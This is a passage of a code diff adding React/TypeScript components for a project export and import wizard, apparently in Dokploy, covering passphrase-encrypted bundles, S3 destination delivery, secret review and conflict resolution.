||||
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { api } from "@/utils/api";
|
||||
|
||||
interface DestinationSelectProps {
|
||||
value: string;
|
||||
onChange: (destinationId: string) => void;
|
||||
label?: string;
|
||||
description?: ReactNode;
|
||||
}
|
||||
|
||||
export const DestinationSelect = ({
|
||||
value,
|
||||
onChange,
|
||||
label = "Destination",
|
||||
description,
|
||||
}: DestinationSelectProps) => {
|
||||
const { data: destinations } = api.destination.all.useQuery();
|
||||
return (
|
||||
<div className="grid gap-1">
|
||||
<Label className="text-xs">{label}</Label>
|
||||
<Select value={value} onValueChange={onChange}>
|
||||
<SelectTrigger>
|
||||
<SelectValue placeholder="Select a destination" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{destinations?.map((destination) => (
|
||||
<SelectItem
|
||||
key={destination.destinationId}
|
||||
value={destination.destinationId}
|
||||
>
|
||||
{destination.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
{destinations?.length === 0 ? (
|
||||
<p className="text-xs text-muted-foreground">
|
||||
No destinations configured. Add one under Settings → S3 Destinations
|
||||
first.
|
||||
</p>
|
||||
) : (
|
||||
description && (
|
||||
<p className="text-xs text-muted-foreground">{description}</p>
|
||||
)
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
};
|
||||
|
||||
interface BundleListStateProps {
|
||||
query: {
|
||||
isLoading: boolean;
|
||||
isError: boolean;
|
||||
error?: { message: string } | null;
|
||||
data?: unknown[];
|
||||
};
|
||||
}
|
||||
|
||||
export const BundleListState = ({ query }: BundleListStateProps) => {
|
||||
if (query.isLoading) {
|
||||
return <p className="text-xs text-muted-foreground">Listing bundles...</p>;
|
||||
}
|
||||
if (query.isError) {
|
||||
return <p className="text-xs text-destructive">{query.error?.message}</p>;
|
||||
}
|
||||
if (query.data?.length === 0) {
|
||||
return (
|
||||
<p className="text-xs text-muted-foreground">
|
||||
No export bundles in this destination yet.
|
||||
</p>
|
||||
);
|
||||
}
|
||||
return null;
|
||||
};
|
||||
|
||||
export const BundleMeta = ({
|
||||
size,
|
||||
modTime,
|
||||
}: {
|
||||
size: number;
|
||||
modTime: string;
|
||||
}) => (
|
||||
<span className="shrink-0 text-xs text-muted-foreground">
|
||||
{formatBytes(size)} · {new Date(modTime).toLocaleString()}
|
||||
</span>
|
||||
);
|
||||
@@ -0,0 +1,338 @@
|
||||
import { Download, UploadCloud } from "lucide-react";
|
||||
import { type ReactNode, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { formatBytes } from "@/components/dashboard/database/backups/restore-backup";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { DropdownMenuItem } from "@/components/ui/dropdown-menu";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||
import { api } from "@/utils/api";
|
||||
import { DestinationSelect } from "./destination-select";
|
||||
import { isPassphraseValid, PassphraseFields } from "./passphrase-fields";
|
||||
import { RequirementsList } from "./requirements-list";
|
||||
import {
|
||||
defaultScopeFormState,
|
||||
hasDropSourceInScope,
|
||||
type ProjectEnvironment,
|
||||
ScopeForm,
|
||||
type ScopeFormState,
|
||||
} from "./scope-form";
|
||||
import { TransferProgress } from "./transfer-progress";
|
||||
|
||||
const STEPS = ["Select services", "Scope", "Review", "Export"] as const;
|
||||
|
||||
interface ExportWizardProps {
|
||||
title: string;
|
||||
projectId: string;
|
||||
environments: ProjectEnvironment[];
|
||||
destinationId?: string;
|
||||
onClose: () => void;
|
||||
onBackFromStart?: () => void;
|
||||
}
|
||||
|
||||
export const ExportWizard = ({
|
||||
title,
|
||||
projectId,
|
||||
environments,
|
||||
destinationId: fixedDestinationId,
|
||||
onClose,
|
||||
onBackFromStart,
|
||||
}: ExportWizardProps) => {
|
||||
const [step, setStep] = useState(0);
|
||||
const [form, setForm] = useState<ScopeFormState>(() =>
|
||||
defaultScopeFormState(environments),
|
||||
);
|
||||
const [passphrase, setPassphrase] = useState("");
|
||||
const [passphraseConfirm, setPassphraseConfirm] = useState("");
|
||||
const [exportId, setExportId] = useState<string | null>(null);
|
||||
const [deliverKind, setDeliverKind] = useState<"download" | "destination">(
|
||||
fixedDestinationId ? "destination" : "download",
|
||||
);
|
||||
const [destinationId, setDestinationId] = useState(fixedDestinationId ?? "");
|
||||
|
||||
const { data: isCloud } = api.settings.isCloud.useQuery();
|
||||
const { data: destinations } = api.destination.all.useQuery(undefined, {
|
||||
enabled: !!fixedDestinationId,
|
||||
});
|
||||
const effectiveDeliverKind =
|
||||
isCloud || fixedDestinationId ? "destination" : deliverKind;
|
||||
|
||||
const previewQuery = api.projectExportImport.exportPreview.useQuery(
|
||||
{
|
||||
projectId,
|
||||
environmentIds: form.environmentIds,
|
||||
serviceIds: form.serviceIds,
|
||||
files: form.files,
|
||||
dumps: form.dumps,
|
||||
},
|
||||
{ enabled: step === 2 },
|
||||
);
|
||||
|
||||
const { mutateAsync: startExport, isPending: isStarting } =
|
||||
api.projectExportImport.exportStart.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
|
||||
const statusQuery = api.projectExportImport.exportStatus.useQuery(
|
||||
{ exportId: exportId ?? "" },
|
||||
{
|
||||
enabled: !!exportId,
|
||||
refetchIntervalInBackground: true,
|
||||
refetchInterval: (query) => {
|
||||
const status = query.state.data?.status;
|
||||
return status === "done" || status === "error" || status === "cancelled"
|
||||
? false
|
||||
: 1000;
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
const handleStart = async () => {
|
||||
try {
|
||||
const result = await startExport({
|
||||
projectId,
|
||||
scope: {
|
||||
environmentIds: form.environmentIds,
|
||||
serviceIds: form.serviceIds,
|
||||
includeEnvSecrets: form.includeEnvSecrets,
|
||||
shared: form.shared,
|
||||
files: {
|
||||
...form.files,
|
||||
applicationSources:
|
||||
form.files.applicationSources ||
|
||||
hasDropSourceInScope(environments, form.serviceIds),
|
||||
},
|
||||
dumps: form.dumps,
|
||||
},
|
||||
passphrase,
|
||||
deliver:
|
||||
effectiveDeliverKind === "destination"
|
||||
? { kind: "destination", destinationId }
|
||||
: { kind: "download" },
|
||||
});
|
||||
setExportId(result.exportId);
|
||||
setStep(3);
|
||||
} catch {}
|
||||
};
|
||||
|
||||
const job = statusQuery.data;
|
||||
const isDone = job?.status === "done";
|
||||
const isFailed = job?.status === "error";
|
||||
const canStart =
|
||||
isPassphraseValid(passphrase, passphraseConfirm) &&
|
||||
(effectiveDeliverKind === "download" || destinationId.length > 0);
|
||||
const fixedDestinationName = destinations?.find(
|
||||
(destination) => destination.destinationId === fixedDestinationId,
|
||||
)?.name;
|
||||
|
||||
return (
|
||||
<>
|
||||
<DialogHeader>
|
||||
<DialogTitle>{title}</DialogTitle>
|
||||
<DialogDescription>
|
||||
Step {step + 1} of {STEPS.length}: {STEPS[step]}
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
{step === 0 && (
|
||||
<ScopeForm
|
||||
section="selection"
|
||||
environments={environments}
|
||||
value={form}
|
||||
onChange={setForm}
|
||||
/>
|
||||
)}
|
||||
{step === 1 && (
|
||||
<ScopeForm
|
||||
section="options"
|
||||
environments={environments}
|
||||
value={form}
|
||||
onChange={setForm}
|
||||
/>
|
||||
)}
|
||||
{step === 2 && (
|
||||
<div className="space-y-4">
|
||||
<RequirementsList
|
||||
inventory={previewQuery.data?.inventory}
|
||||
requirements={previewQuery.data?.requirements}
|
||||
warnings={previewQuery.data?.warnings}
|
||||
isLoading={previewQuery.isLoading}
|
||||
/>
|
||||
<AlertBlock type="warning">
|
||||
The exported file contains your secrets, encrypted with the
|
||||
passphrase below. Anyone with both the file and this passphrase can
|
||||
read them, so store it somewhere safe and share it only through a
|
||||
separate channel. You'll need this exact passphrase to import the
|
||||
bundle later; without it, the export can't be recovered.
|
||||
</AlertBlock>
|
||||
<div className="space-y-2">
|
||||
<Label>Deliver the bundle</Label>
|
||||
{fixedDestinationId ? (
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Uploaded to {fixedDestinationName ?? "the selected destination"}{" "}
|
||||
under dokploy-export-import/.
|
||||
</p>
|
||||
) : isCloud ? (
|
||||
<p className="text-xs text-muted-foreground">
|
||||
On Dokploy Cloud the bundle is uploaded to one of your
|
||||
destinations (S3-compatible storage); direct download isn't
|
||||
available.
|
||||
</p>
|
||||
) : (
|
||||
<RadioGroup
|
||||
value={deliverKind}
|
||||
onValueChange={(value) =>
|
||||
setDeliverKind(value as "download" | "destination")
|
||||
}
|
||||
className="flex gap-4"
|
||||
>
|
||||
<div className="flex items-center gap-1">
|
||||
<RadioGroupItem value="download" id="deliver-download" />
|
||||
<Label htmlFor="deliver-download" className="text-sm">
|
||||
Download
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center gap-1">
|
||||
<RadioGroupItem
|
||||
value="destination"
|
||||
id="deliver-destination"
|
||||
/>
|
||||
<Label htmlFor="deliver-destination" className="text-sm">
|
||||
Upload to a destination
|
||||
</Label>
|
||||
</div>
|
||||
</RadioGroup>
|
||||
)}
|
||||
{!fixedDestinationId && effectiveDeliverKind === "destination" && (
|
||||
<DestinationSelect
|
||||
value={destinationId}
|
||||
onChange={setDestinationId}
|
||||
description="Stored under dokploy-export-import/ in the bucket and listed in Settings → Exports."
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
<PassphraseFields
|
||||
value={passphrase}
|
||||
confirm={passphraseConfirm}
|
||||
onValueChange={setPassphrase}
|
||||
onConfirmChange={setPassphraseConfirm}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
{step === 3 && (
|
||||
<div className="space-y-4">
|
||||
<TransferProgress
|
||||
verb="Export"
|
||||
job={job}
|
||||
done={isDone}
|
||||
failed={isFailed}
|
||||
/>
|
||||
{isDone && job?.warnings && job.warnings.length > 0 && (
|
||||
<RequirementsList warnings={job.warnings} />
|
||||
)}
|
||||
{isDone && job?.deliveredKey && (
|
||||
<AlertBlock type="success">
|
||||
Uploaded to <span className="font-mono">{job.deliveredKey}</span>
|
||||
</AlertBlock>
|
||||
)}
|
||||
{isDone && job?.downloadToken && (
|
||||
<Button asChild className="w-full">
|
||||
<a
|
||||
href={`/api/project-export-import/download/${job.downloadToken}`}
|
||||
>
|
||||
<Download className="mr-2 h-4 w-4" />
|
||||
Download bundle
|
||||
{job.size ? ` (${formatBytes(job.size)})` : ""}
|
||||
</a>
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<DialogFooter>
|
||||
{step === 0 && onBackFromStart && (
|
||||
<Button variant="outline" onClick={onBackFromStart}>
|
||||
Back
|
||||
</Button>
|
||||
)}
|
||||
{step > 0 && step < 3 && (
|
||||
<Button variant="outline" onClick={() => setStep((s) => s - 1)}>
|
||||
Back
|
||||
</Button>
|
||||
)}
|
||||
{step < 2 && (
|
||||
<Button
|
||||
onClick={() => setStep((s) => s + 1)}
|
||||
disabled={step === 0 && form.serviceIds.length === 0}
|
||||
>
|
||||
Next
|
||||
</Button>
|
||||
)}
|
||||
{step === 2 && (
|
||||
<Button
|
||||
onClick={handleStart}
|
||||
isLoading={isStarting}
|
||||
disabled={!canStart}
|
||||
>
|
||||
Start export
|
||||
</Button>
|
||||
)}
|
||||
{step === 3 && (
|
||||
<Button variant="outline" onClick={onClose}>
|
||||
Close
|
||||
</Button>
|
||||
)}
|
||||
</DialogFooter>
|
||||
</>
|
||||
);
|
||||
};
|
||||
|
||||
interface ExportProjectProps {
|
||||
projectId: string;
|
||||
environments: ProjectEnvironment[];
|
||||
trigger?: ReactNode;
|
||||
}
|
||||
|
||||
export const ExportProject = ({
|
||||
projectId,
|
||||
environments,
|
||||
trigger,
|
||||
}: ExportProjectProps) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
|
||||
return (
|
||||
<Dialog open={open} onOpenChange={setOpen}>
|
||||
<DialogTrigger asChild>
|
||||
{trigger ?? (
|
||||
<DropdownMenuItem
|
||||
className="w-full cursor-pointer space-x-3"
|
||||
onSelect={(e) => e.preventDefault()}
|
||||
>
|
||||
<UploadCloud className="size-4" />
|
||||
<span>Export project</span>
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-4xl max-h-[85vh] overflow-y-auto">
|
||||
{open && (
|
||||
<ExportWizard
|
||||
title="Export project"
|
||||
projectId={projectId}
|
||||
environments={environments}
|
||||
onClose={() => setOpen(false)}
|
||||
/>
|
||||
)}
|
||||
</DialogContent>
|
||||
</Dialog>
|
||||
);
|
||||
};
|
||||
@@ -0,0 +1,619 @@
|
||||
import { Download, ExternalLink } from "lucide-react";
|
||||
import Link from "next/link";
|
||||
import { type ReactNode, useEffect, useState } from "react";
|
||||
import { toast } from "sonner";
|
||||
import { AlertBlock } from "@/components/shared/alert-block";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { Checkbox } from "@/components/ui/checkbox";
|
||||
import {
|
||||
Dialog,
|
||||
DialogContent,
|
||||
DialogDescription,
|
||||
DialogFooter,
|
||||
DialogHeader,
|
||||
DialogTitle,
|
||||
DialogTrigger,
|
||||
} from "@/components/ui/dialog";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Label } from "@/components/ui/label";
|
||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||
import {
|
||||
Select,
|
||||
SelectContent,
|
||||
SelectItem,
|
||||
SelectTrigger,
|
||||
SelectValue,
|
||||
} from "@/components/ui/select";
|
||||
import { api } from "@/utils/api";
|
||||
import { BundleSourceStep } from "./bundle-source-step";
|
||||
import { type ConflictChoice, ImportSummary } from "./import-summary";
|
||||
import { AutofillDecoy, PassphraseField } from "./passphrase-fields";
|
||||
import { RequirementsList } from "./requirements-list";
|
||||
import {
|
||||
defaultResolutionChoices,
|
||||
type ResolutionChoice,
|
||||
ResolutionStep,
|
||||
} from "./resolution-step";
|
||||
import { SecretsReview } from "./secrets-review";
|
||||
import { TransferProgress } from "./transfer-progress";
|
||||
import { VersionsTable } from "./versions-table";
|
||||
|
||||
const STEPS = ["Source", "Unlock", "Resolve", "Review", "Import"] as const;
|
||||
|
||||
type TargetChoice =
|
||||
| { kind: "newProject"; name: string }
|
||||
| { kind: "existingProject"; projectId: string; environmentName: string };
|
||||
|
||||
interface ImportProjectProps {
|
||||
initialBundle?: { destinationId: string; key: string };
|
||||
trigger?: ReactNode;
|
||||
}
|
||||
|
||||
export const ImportProject = ({
|
||||
initialBundle,
|
||||
trigger,
|
||||
}: ImportProjectProps = {}) => {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [step, setStep] = useState(0);
|
||||
const [importId, setImportId] = useState<string | null>(null);
|
||||
const [importServerId, setImportServerId] = useState<string | undefined>();
|
||||
const [passphrase, setPassphrase] = useState("");
|
||||
const [resolutionChoices, setResolutionChoices] = useState<
|
||||
Record<string, ResolutionChoice>
|
||||
>({});
|
||||
const [targetKind, setTargetKind] = useState<
|
||||
"newProject" | "existingProject"
|
||||
>("newProject");
|
||||
const [newProjectName, setNewProjectName] = useState("");
|
||||
const [existingProjectId, setExistingProjectId] = useState("");
|
||||
const [environmentName, setEnvironmentName] = useState("imported");
|
||||
const [keepAppNames, setKeepAppNames] = useState(false);
|
||||
const [rotateDatabaseCredentials, setRotateDatabaseCredentials] =
|
||||
useState(false);
|
||||
const [deployAfterImport, setDeployAfterImport] = useState(true);
|
||||
const [conflictChoices, setConflictChoices] = useState<
|
||||
Record<string, ConflictChoice>
|
||||
>({});
|
||||
const [secretOverrides, setSecretOverrides] = useState<
|
||||
Record<string, string>
|
||||
>({});
|
||||
|
||||
const { data: projects } = api.project.all.useQuery(undefined, {
|
||||
enabled: open && targetKind === "existingProject",
|
||||
});
|
||||
|
||||
const inspectMutation = api.projectExportImport.importInspect.useMutation();
|
||||
const [inspectResult, setInspectResult] = useState<Awaited<
|
||||
ReturnType<typeof inspectMutation.mutateAsync>
|
||||
> | null>(null);
|
||||
const runInspect = (id: string) => {
|
||||
setInspectResult(null);
|
||||
inspectMutation
|
||||
.mutateAsync({ importId: id })
|
||||
.then(setInspectResult)
|
||||
.catch(() => {});
|
||||
};
|
||||
useEffect(() => {
|
||||
if (
|
||||
importId &&
|
||||
step === 1 &&
|
||||
!inspectResult &&
|
||||
!inspectMutation.isPending
|
||||
) {
|
||||
runInspect(importId);
|
||||
}
|
||||
}, [importId, step]);
|
||||
|
||||
const { mutateAsync: unlock, isPending: isUnlocking } =
|
||||
api.projectExportImport.importUnlock.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
const [unlockResult, setUnlockResult] = useState<Awaited<
|
||||
ReturnType<typeof unlock>
|
||||
> | null>(null);
|
||||
|
||||
const { mutateAsync: plan, isPending: isPlanning } =
|
||||
api.projectExportImport.importPlan.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
const [planResult, setPlanResult] = useState<Awaited<
|
||||
ReturnType<typeof plan>
|
||||
> | null>(null);
|
||||
|
||||
const { mutateAsync: overrideSecrets } =
|
||||
api.projectExportImport.importSecretsOverride.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
|
||||
const { mutateAsync: validate, isPending: isValidating } =
|
||||
api.projectExportImport.importValidate.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
const [validation, setValidation] = useState<
|
||||
{ check: string; ok: boolean; detail?: string }[] | null
|
||||
>(null);
|
||||
|
||||
const { mutateAsync: startImport, isPending: isStarting } =
|
||||
api.projectExportImport.importStart.useMutation({
|
||||
onError: (error) => toast.error(error.message),
|
||||
});
|
||||
const { mutateAsync: cancelImport } =
|
||||
api.projectExportImport.importCancel.useMutation();
|
||||
|
||||
const statusQuery = api.projectExportImport.importStatus.useQuery(
|
||||
{ importId: importId ?? "" },
|
||||
{
|
||||
enabled: !!importId && step === 4,
|
||||
refetchIntervalInBackground: true,
|
||||
refetchInterval: (query) => {
|
||||
const status = query.state.data?.status;
|
||||
return status === "done" || status === "failed" ? false : 1000;
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
const resetState = () => {
|
||||
setStep(0);
|
||||
setImportId(null);
|
||||
setInspectResult(null);
|
||||
setConflictChoices({});
|
||||
setSecretOverrides({});
|
||||
setValidation(null);
|
||||
setDeployAfterImport(true);
|
||||
setPassphrase("");
|
||||
setResolutionChoices({});
|
||||
setTargetKind("newProject");
|
||||
setNewProjectName("");
|
||||
setExistingProjectId("");
|
||||
setEnvironmentName("imported");
|
||||
setKeepAppNames(false);
|
||||
setRotateDatabaseCredentials(false);
|
||||
setUnlockResult(null);
|
||||
setPlanResult(null);
|
||||
};
|
||||
|
||||
const handleBundleSelected = (id: string, serverId: string | undefined) => {
|
||||
setImportServerId(serverId);
|
||||
setUnlockResult(null);
|
||||
setResolutionChoices({});
|
||||
setConflictChoices({});
|
||||
setSecretOverrides({});
|
||||
setValidation(null);
|
||||
setPassphrase("");
|
||||
setInspectResult(null);
|
||||
setImportId(id);
|
||||
setStep(1);
|
||||
};
|
||||
|
||||
const handleUnlock = async () => {
|
||||
if (!importId) return;
|
||||
try {
|
||||
const result = await unlock({ importId, passphrase });
|
||||
setUnlockResult(result);
|
||||
const defaults = defaultResolutionChoices(
|
||||
inspectResult?.requirements ?? [],
|
||||
result.resolutions,
|
||||
);
|
||||
if (importServerId) {
|
||||
for (const key of Object.keys(defaults)) {
|
||||
if (key.startsWith("server:")) {
|
||||
defaults[key] = {
|
||||
requirementKey: key,
|
||||
action: "reuse",
|
||||
targetId: importServerId,
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
setResolutionChoices(defaults);
|
||||
setStep(2);
|
||||
} catch {}
|
||||
};
|
||||
|
||||
const runPlan = async (choices: Record<string, ConflictChoice>) => {
|
||||
if (!importId) return;
|
||||
const target: TargetChoice =
|
||||
targetKind === "newProject"
|
||||
? { kind: "newProject", name: newProjectName }
|
||||
: {
|
||||
kind: "existingProject",
|
||||
projectId: existingProjectId,
|
||||
environmentName,
|
||||
};
|
||||
try {
|
||||
await overrideSecrets({ importId, overrides: secretOverrides });
|
||||
const result = await plan({
|
||||
importId,
|
||||
target,
|
||||
choices: {
|
||||
resolutions: resolutionChoices,
|
||||
keepAppNames,
|
||||
rotateDatabaseCredentials,
|
||||
deployAfterImport,
|
||||
conflictResolutions: choices,
|
||||
},
|
||||
});
|
||||
setPlanResult(result);
|
||||
setConflictChoices(result.conflictResolutions);
|
||||
setStep(3);
|
||||
setValidation(null);
|
||||
const validated = await validate({ importId });
|
||||
setValidation(validated.checks);
|
||||
} catch {}
|
||||
};
|
||||
|
||||
const handlePlan = () => runPlan(conflictChoices);
|
||||
|
||||
const handleConflictChange = (key: string, choice: ConflictChoice) => {
|
||||
setConflictChoices((prev) => ({ ...prev, [key]: choice }));
|
||||
};
|
||||
|
||||
const handleStart = async () => {
|
||||
if (!importId) return;
|
||||
try {
|
||||
await startImport({ importId });
|
||||
setStep(4);
|
||||
} catch {}
|
||||
};
|
||||
|
||||
const job = statusQuery.data;
|
||||
const isDone = job?.status === "done";
|
||||
const isFailed = job?.status === "failed";
|
||||
const importedProjectId = job?.result
|
||||
? Object.values(job.result.idMap.project ?? {})[0]
|
||||
: undefined;
|
||||
const importedEnvironmentId = job?.result
|
||||
? Object.values(job.result.idMap.environment ?? {})[0]
|
||||
: undefined;
|
||||
const conflictChoicesDirty =
|
||||
JSON.stringify(conflictChoices) !==
|
||||
JSON.stringify(planResult?.conflictResolutions ?? {});
|
||||
const validationFailing = (validation ?? []).some((check) => !check.ok);
|
||||
const canProceedTarget =
|
||||
targetKind === "newProject"
|
||||
? newProjectName.trim().length > 0
|
||||
: !!existingProjectId && environmentName.trim().length > 0;
|
||||
|
||||
return (
|
||||
<Dialog
|
||||
open={open}
|
||||
onOpenChange={(next) => {
|
||||
setOpen(next);
|
||||
if (!next) {
|
||||
if (importId && step < 4) {
|
||||
cancelImport({ importId }).catch(() => {});
|
||||
}
|
||||
resetState();
|
||||
}
|
||||
}}
|
||||
>
|
||||
<DialogTrigger asChild>
|
||||
{trigger ?? (
|
||||
<Button variant="outline" onClick={(e) => e.stopPropagation()}>
|
||||
<Download className="mr-2 h-4 w-4" />
|
||||
Import project
|
||||
</Button>
|
||||
)}
|
||||
</DialogTrigger>
|
||||
<DialogContent className="sm:max-w-4xl max-h-[85vh] overflow-y-auto">
|
||||
<DialogHeader>
|
||||
<DialogTitle>Import project</DialogTitle>
|
||||
<DialogDescription>
|
||||
Step {step + 1} of {STEPS.length}: {STEPS[step]}
|
||||
</DialogDescription>
|
||||
</DialogHeader>
|
||||
|
||||
{step === 0 && (
|
||||
<BundleSourceStep
|
||||
onSelected={handleBundleSelected}
|
||||
initialBundle={initialBundle}
|
||||
/>
|
||||
)}
|
||||
|
||||
{step === 1 && (
|
||||
<div className="space-y-4">
|
||||
{inspectMutation.isPending && (
|
||||
<p className="text-sm text-muted-foreground">Reading bundle...</p>
|
||||
)}
|
||||
{inspectMutation.isError && (
|
||||
<AlertBlock type="error">
|
||||
<p>
|
||||
{inspectMutation.error?.message ??
|
||||
"Failed to read the bundle."}
|
||||
</p>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
className="mt-2"
|
||||
onClick={() => importId && runInspect(importId)}
|
||||
>
|
||||
Retry
|
||||
</Button>
|
||||
</AlertBlock>
|
||||
)}
|
||||
{inspectResult && (
|
||||
<div className="text-sm space-y-3">
|
||||
<div className="space-y-1">
|
||||
<p>
|
||||
<span className="text-muted-foreground">Exported: </span>
|
||||
{new Date(
|
||||
inspectResult.manifest.exportedAt,
|
||||
).toLocaleString()}
|
||||
</p>
|
||||
</div>
|
||||
<VersionsTable versions={inspectResult.versions} />
|
||||
{inspectResult.versionWarnings.length > 0 && (
|
||||
<RequirementsList warnings={inspectResult.versionWarnings} />
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
<AutofillDecoy />
|
||||
<PassphraseField
|
||||
id="import-passphrase"
|
||||
label="Passphrase"
|
||||
value={passphrase}
|
||||
onChange={setPassphrase}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{step === 2 && (
|
||||
<div className="space-y-4">
|
||||
<ResolutionStep
|
||||
requirements={inspectResult?.requirements ?? []}
|
||||
resolutions={unlockResult?.resolutions ?? {}}
|
||||
choices={resolutionChoices}
|
||||
onChange={(key, choice) =>
|
||||
setResolutionChoices((prev) => ({ ...prev, [key]: choice }))
|
||||
}
|
||||
/>
|
||||
|
||||
{importId && (
|
||||
<SecretsReview
|
||||
importId={importId}
|
||||
overrides={secretOverrides}
|
||||
onChange={(secretId, value) =>
|
||||
setSecretOverrides((prev) => {
|
||||
const next = { ...prev };
|
||||
if (value === undefined) delete next[secretId];
|
||||
else next[secretId] = value;
|
||||
return next;
|
||||
})
|
||||
}
|
||||
/>
|
||||
)}
|
||||
|
||||
<div className="space-y-3 border-t pt-4">
|
||||
<Label>Import into</Label>
|
||||
<RadioGroup
|
||||
value={targetKind}
|
||||
onValueChange={(value) =>
|
||||
setTargetKind(value as "newProject" | "existingProject")
|
||||
}
|
||||
className="flex gap-4"
|
||||
>
|
||||
<div className="flex items-center gap-1">
|
||||
<RadioGroupItem value="newProject" id="target-new" />
|
||||
<Label htmlFor="target-new" className="text-sm">
|
||||
New project
|
||||
</Label>
|
||||
</div>
|
||||
<div className="flex items-center gap-1">
|
||||
<RadioGroupItem
|
||||
value="existingProject"
|
||||
id="target-existing"
|
||||
/>
|
||||
<Label htmlFor="target-existing" className="text-sm">
|
||||
Existing project
|
||||
</Label>
|
||||
</div>
|
||||
</RadioGroup>
|
||||
|
||||
{targetKind === "newProject" ? (
|
||||
<Input
|
||||
placeholder="Project name"
|
||||
value={newProjectName}
|
||||
onChange={(e) => setNewProjectName(e.target.value)}
|
||||
/>
|
||||
) : (
|
||||
<div className="flex gap-2">
|
||||
<Select
|
||||
value={existingProjectId}
|
||||
onValueChange={setExistingProjectId}
|
||||
>
|
||||
<SelectTrigger className="flex-1">
|
||||
<SelectValue placeholder="Select a project" />
|
||||
</SelectTrigger>
|
||||
<SelectContent>
|
||||
{projects?.map((project) => (
|
||||
<SelectItem
|
||||
key={project.projectId}
|
||||
value={project.projectId}
|
||||
>
|
||||
{project.name}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
<Input
|
||||
placeholder="New environment name"
|
||||
value={environmentName}
|
||||
onChange={(e) => setEnvironmentName(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={keepAppNames}
|
||||
onCheckedChange={(checked) =>
|
||||
setKeepAppNames(checked === true)
|
||||
}
|
||||
/>
|
||||
<Label className="text-sm">
|
||||
Keep original app names when available
|
||||
</Label>
|
||||
</div>
|
||||
|
||||
<div className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={rotateDatabaseCredentials}
|
||||
onCheckedChange={(checked) =>
|
||||
setRotateDatabaseCredentials(checked === true)
|
||||
}
|
||||
/>
|
||||
<div className="grid gap-0.5">
|
||||
<Label className="text-sm">Rotate database credentials</Label>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
Generates fresh database passwords for the imported project
|
||||
instead of keeping the original ones. Leave this unchecked
|
||||
for a straight migration (e.g. cloud to self-hosted) so
|
||||
anything outside Dokploy that already has the current
|
||||
password keeps working.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-start gap-2">
|
||||
<Checkbox
|
||||
className="mt-0.5"
|
||||
checked={deployAfterImport}
|
||||
onCheckedChange={(checked) =>
|
||||
setDeployAfterImport(checked === true)
|
||||
}
|
||||
/>
|
||||
<Label className="text-sm">
|
||||
Deploy applications and compose services after import
|
||||
</Label>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{step === 3 && (
|
||||
<div className="space-y-3">
|
||||
<ImportSummary
|
||||
summary={planResult?.summary}
|
||||
pendingServices={planResult?.pendingServices}
|
||||
warnings={planResult?.warnings}
|
||||
conflicts={planResult?.conflicts}
|
||||
conflictChoices={conflictChoices}
|
||||
onConflictChange={handleConflictChange}
|
||||
validation={validation ?? undefined}
|
||||
isValidating={isValidating}
|
||||
isLoading={isPlanning}
|
||||
/>
|
||||
{conflictChoicesDirty && (
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
disabled={isPlanning}
|
||||
onClick={() => runPlan(conflictChoices)}
|
||||
>
|
||||
Apply conflict choices
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{step === 4 && (
|
||||
<div className="space-y-4">
|
||||
<TransferProgress
|
||||
verb="Import"
|
||||
job={job}
|
||||
done={isDone}
|
||||
failed={isFailed}
|
||||
/>
|
||||
{isDone && (
|
||||
<div className="space-y-3">
|
||||
<AlertBlock type="success">
|
||||
{job?.partial
|
||||
? "Import completed with some errors."
|
||||
: "Import complete."}
|
||||
</AlertBlock>
|
||||
